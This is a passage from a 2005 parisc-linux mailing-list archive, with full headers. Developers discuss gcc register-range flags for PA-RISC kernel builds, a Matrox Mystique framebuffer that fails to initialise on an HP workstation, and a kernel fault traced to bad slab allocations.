    o the later 2.6.9-rc2-pa13 (without '-mdisable-fpregs' by default) cr=
ashed
also.

good news with gcc-4.0 (debian pakage) and '-mfixed-range=3Dfr6-fr21,fr27=
-fr31'

    o 2.6.9-rc2-pa1 seems to works as fine as with original option
    o 2.6.9-rc2-pa13 the same 

(just have to backport some small stuff to  reach to compile kernels)

I apply my stress test (tar loops + kernel build loops) during a full day=

for each one without any pb ;-)

I can now try a step forward: 2.6.10-pa + gcc-4.0, ...

Thanks,
    Joel

> 
> 
> John David Anglin wrote:
> >>mmm do I well understand that to force gcc to on;y use fr4-f5 and fr2=
2-fr26
> >>(as do __muldi3), I had to use option:
> >>cflags-y        +=3D -mfixed-range=3Dfr6-fr21,fr27-fr28
> > 
> > 
> > Close, I used the change below.
> mmm I definetely have to go back to elementary school (4 + 28 -1 =3D 31=
 and
> not 28, my bad !!!)
> 
> >  This seems to build and check ok.
> Ok I will try to rebuild libgcc2 and kernel with same options.
> 
> Btw 2.6.12-pa1 already build and boot fine with above mentioned options=
.
> Anyway still hanging after 44 min of stress test.
> 
> So imho 2 first thinks to do:
> 	o apply the right 'fixed-range' option
> 	o apply 2.6.12.1 patch
> 
> > I don't know if it would be possible to cut back another register or
not.
> > If I was going to try, I would add fr26 to the fixed list.
> > 
> If still not work, the 3rd test I will do ;-)
> 
> I will advise.
> 
> Thanks again,
>      Joel
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Matrox Mystique video card NOT initialized on HP
 Visualize 785/B2000 with 2.6.12-rc6-pa1kernel
Date: Fri, 01 Jul 2005 23:08:05 +0800
Lines: 161
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050701213229.02ab2910__14389.5437628546$1416623826$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0546189570=="
X-Trace: ger.gmane.org 1416623826 15167 80.91.229.3 (22 Nov 2014 02:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:06 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 15:09:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 01 Jul 2005 17:09:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5D987D663;
	Fri,  1 Jul 2005 09:09:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06502-08; Fri, 1 Jul 2005 09:09:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0DA87D66C;
	Fri,  1 Jul 2005 09:09:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AACF97D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 09:09:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06502-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 09:09:25 -0600 (MDT)
Original-Received: from surfgate2.starhub.net.sg (surfgate2.starhub.net.sg
	[203.117.3.7])
	by free.linux.hp.com (Postfix) with ESMTP id 994767D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 09:09:24 -0600 (MDT)
Original-Received: from hpxphome.singnet.com.sg (cm21.gamma80.maxonline.com.sg
	[202.156.80.21])
	by surfgate2.starhub.net.sg (8.12.10/8.12.10) with ESMTP id
	j61F3r09009764; Fri, 1 Jul 2005 23:04:00 +0800
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5jm3YqNReSEkVb6WZHQhaXN1IGRvb4Bc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22846

--===============0546189570==
Content-Type: multipart/alternative;
	boundary="=====================_43992908==.ALT"

--=====================_43992908==.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

I have now upgraded to Linux Kernel 2.6.12-rc6-pa1 but am still having 
problems in getting Matrox Mystique video card up and running, i.e. the 
card did not get initialized. At least it didn't cause Kernel panic as it 
did in 2.6.8.  (The driver is compiled into the kernel.)

Part of the booting up messages are attached here:

"... Snipped

SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.09
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at fd820000 (128 kB), fb at fb000000 (16 MB)
     id 35acda16-9a02587, conforms to spec rev. 8.0c
     graphics card name: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
matroxfb: Matrox Mystique (PCI) detected
matroxfb: cannot determine memory size
matroxfb: probe of 0000:01:01.0 failed with error -1
tridentfb: Trident framebuffer 0.7.8-NEWAPI initializing
stifb: 'HPA4982A' (id: 0x35acda16) not supported.
Generic RTC Driver v1.07

... Snipped"


What should I try next? Pls advise.

Thanks,
Lee

ps. I also have the Trident driver compiled into the Kernel but no Trident 
card installed.

pps. Output from 'lspci -v':-


... Snipped

0000:01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
         Subsystem: Hewlett-Packard Company: Unknown device 108c
         Flags: bus master, 66MHz, medium devsel, latency 255, IRQ 70
         Memory at fb000000 (64-bit, prefetchable) [size=16M]
         Memory at fa000000 (64-bit, non-prefetchable) [size=16M]
         Expansion ROM at fd820000 [disabled] [size=128K]

0000:01:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG 
[Mystique] (rev 02) (prog-if 00 [VGA])
         Flags: bus master, stepping, medium devsel, latency 248, IRQ 71
         Memory at fd800000 (32-bit, non-prefetchable) [size=16K]
         Memory at fd000000 (32-bit, prefetchable) [size=8M]
         Memory at f4800000 (32-bit, non-prefetchable) [size=8M]
         Expansion ROM at fd820000 [disabled] [size=64K]

... Snipped

--=====================_43992908==.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font face="Courier New, Courier">Hi,<br><br>
I have now upgraded to Linux Kernel 2.6.12-rc6-pa1 but am still having
problems in getting Matrox Mystique video card up and running, i.e. the
card did not get initialized. At least it didn't cause Kernel panic as it
did in 2.6.8.&nbsp; (The driver is compiled into the kernel.)<br><br>
Part of the booting up messages are attached here:<br><br>
&quot;... Snipped<br><br>
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 68) <br>
SuperIO: Serial port 1 at 0x3f8<br>
SuperIO: Serial port 2 at 0x2f8<br>
SuperIO: Parallel port at 0x378<br>
SuperIO: Floppy controller at 0x3f0<br>
SuperIO: ACPI at 0x7e0<br>
SuperIO: USB regulator enabled<br>
PDC Stable Storage facility v0.09<br>
Soft power switch enabled, polling @ 0xf0400804.<br>
STI GSC/PCI core graphics driver Version 0.9a<br>
STI PCI graphic ROM found at fd820000 (128 kB), fb at fb000000 (16
MB)<br>
&nbsp;&nbsp;&nbsp; id 35acda16-9a02587, conforms to spec rev. 8.0c<br>
&nbsp;&nbsp;&nbsp; graphics card name: HPA4982A<br>
sticon: Initializing STI text console.<br>
Console: switching to colour STI console 160x64<br>
matroxfb: Matrox Mystique (PCI) detected<br>
matroxfb: cannot determine memory size<br>
matroxfb: probe of 0000:01:01.0 failed with error -1<br>
tridentfb: Trident framebuffer 0.7.8-NEWAPI initializing<br>
stifb: 'HPA4982A' (id: 0x35acda16) not supported.<br>
Generic RTC Driver v1.07<br><br>
... Snipped&quot;<br><br>
<br>
What should I try next? Pls advise.<br><br>
Thanks,<br>
Lee<br><br>
ps. I also have the Trident driver compiled into the Kernel but no
Trident card installed.<br><br>
pps. Output from 'lspci -v':-<br><br>
<br>
... Snipped<br><br>
0000:01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev
03)<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Subsystem:
Hewlett-Packard Company: Unknown device 108c<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Flags: bus
master, 66MHz, medium devsel, latency 255, IRQ 70<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Memory at
fb000000 (64-bit, prefetchable) [size=16M]<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Memory at
fa000000 (64-bit, non-prefetchable) [size=16M]<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Expansion
ROM at fd820000 [disabled] [size=128K]<br><br>
0000:01:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG
[Mystique] (rev 02) (prog-if 00 [VGA])<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Flags: bus
master, stepping, medium devsel, latency 248, IRQ 71<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Memory at
fd800000 (32-bit, non-prefetchable) [size=16K]<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Memory at
fd000000 (32-bit, prefetchable) [size=8M]<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Memory at
f4800000 (32-bit, non-prefetchable) [size=8M]<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Expansion
ROM at fd820000 [disabled] [size=64K]<br><br>
... Snipped</font><br>
</html>

--=====================_43992908==.ALT--



--===============0546189570==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0546189570==--




From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
	hppa-linux kernel and what you can]
Date: Fri, 1 Jul 2005 13:53:20 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20050701175316.GS5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623826 15173 80.91.229.3 (22 Nov 2014 02:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:06 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 17:53:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 01 Jul 2005 19:53:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 878C17D687;
	Fri,  1 Jul 2005 11:53:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07968-07; Fri, 1 Jul 2005 11:53:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBC567D692;
	Fri,  1 Jul 2005 11:53:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0CF7F7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 11:53:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08003-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 11:53:23 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 7F2597D678
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 11:53:23 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DoPhZ-000138-00; Fri, 01 Jul 2005 13:53:21 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: S+a3YuEMeSEkdr6WZHQhaXN1IGRvb4D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22847


Dave,

Forwarding your valuable comments to the list for analysis :)

c.


----- Forwarded message from John David Anglin <dave@hiauly1.hia.nrc.ca> -----

> > Backtrace:   
> >  [<101c10a4>] journal_add_journal_head+0xdc/0x13c

I think this is a bug in journal_add_journal_head:

repeat:
        if (!buffer_jbd(bh)) {
		new_jh = journal_alloc_journal_head();
		memset(new_jh, 0, sizeof(*new_jh));
	}

journal_alloc_journal_head() can return a null pointer causing
the kernel to die in memset.  I think the fix is to skip calling
memset when new_jh is null.  The rest of the code looks ok except
for possibly

                if (!new_jh) {
			jbd_unlock_bh_journal_head(bh);
			goto repeat;
		}

This might loop forever.  So, somebody who knows how this is
supposed to work should look at it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

----- End forwarded message -----
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
	hppa-linux kernel and what you can]
Date: Fri, 01 Jul 2005 14:07:24 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <1120241244.5046.16.camel@mulgrave>
References: <20050701175316.GS5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623826 15174 80.91.229.3 (22 Nov 2014 02:37:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:06 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 18:07:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 01 Jul 2005 20:07:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 11E487D6A8;
	Fri,  1 Jul 2005 12:07:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08302-10; Fri, 1 Jul 2005 12:07:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 775D77D6A9;
	Fri,  1 Jul 2005 12:07:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 656397D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 12:07:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08302-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 12:07:27 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id AACDF7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 12:07:27 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j61I7OA07837; Fri, 1 Jul 2005 14:07:24 -0400
In-Reply-To: <20050701175316.GS5269@systemhalted.org>
X-Mailer: Evolution 2.0.4 (2.0.4-4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OuO3YmoheSEkRr6WZHQhaXN1IGRvb0Ac
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22848

On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> journal_alloc_journal_head() can return a null pointer causing
> the kernel to die in memset.  I think the fix is to skip calling
> memset when new_jh is null.  The rest of the code looks ok except
> for possibly

That's true (and needs fixing), but isn't what happened in this case.
Look at the traceback:

> Kernel Fault: Code=15 regs=3249c840 (Addr=73c9d7ba)

The address wasn't NULL, it was something really strange above the
addressable virtual memory in the system.

This fault is consistent with a class of faults we've been seeing since
2.6.11-rc1-pa0 where kmem_cache_alloc() is returning memory that can't
be written to (usually just slightly above the end of virtual memory).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [dave@hiauly1.hia.nrc.ca: Re: [parisc-linux] Why gas kills the
Date: Fri, 1 Jul 2005 14:38:03 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200507011838.j61Ic37N006115@hiauly1.hia.nrc.ca>
References: <1120241244.5046.16.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623827 15178 80.91.229.3 (22 Nov 2014 02:37:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:07 +0000 (UTC)
Cc: carlos@systemhalted.org,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: James.Bottomley@SteelEye.com (James Bottomley)
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Jul 2005 18:38:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 01 Jul 2005 20:38:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFA9D7D6B7;
	Fri,  1 Jul 2005 12:38:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08754-01; Fri, 1 Jul 2005 12:38:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB19D7D6B1;
	Fri,  1 Jul 2005 12:38:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0EA7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 12:38:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08515-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jul 2005 12:38:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7299E7D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jul 2005 12:38:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j61Ic4nV006116; Fri, 1 Jul 2005 14:38:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j61Ic37N006115;
	Fri, 1 Jul 2005 14:38:03 -0400 (EDT)
In-Reply-To: <1120241244.5046.16.camel@mulgrave> from "James Bottomley" at Jul
	1, 2005 02:07:24 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z+i3Yrs/eSEkTr6WZHQhaXN1IGRvb4C8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22849

> On Fri, 2005-07-01 at 13:53 -0400, Carlos O'Donell wrote:
> > journal_alloc_journal_head() can return a null pointer causing
> > the kernel to die in memset.  I think the fix is to skip calling
> > memset when new_jh is null.  The rest of the code looks ok except
> > for possibly
> 
> That's true (and needs fixing), but isn't what happened in this case.
> Look at the traceback:

Actually, I was wrong.  journal_alloc_journal_head con't return
null.  I see it spins until kmem_cache_alloc returns a non null
value.

It looks like mm/slab.c needs to be built with DEBUG true and
and possibly CONFIG_DEBUG_PAGEALLOC to find how the pointer is
getting allocated.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
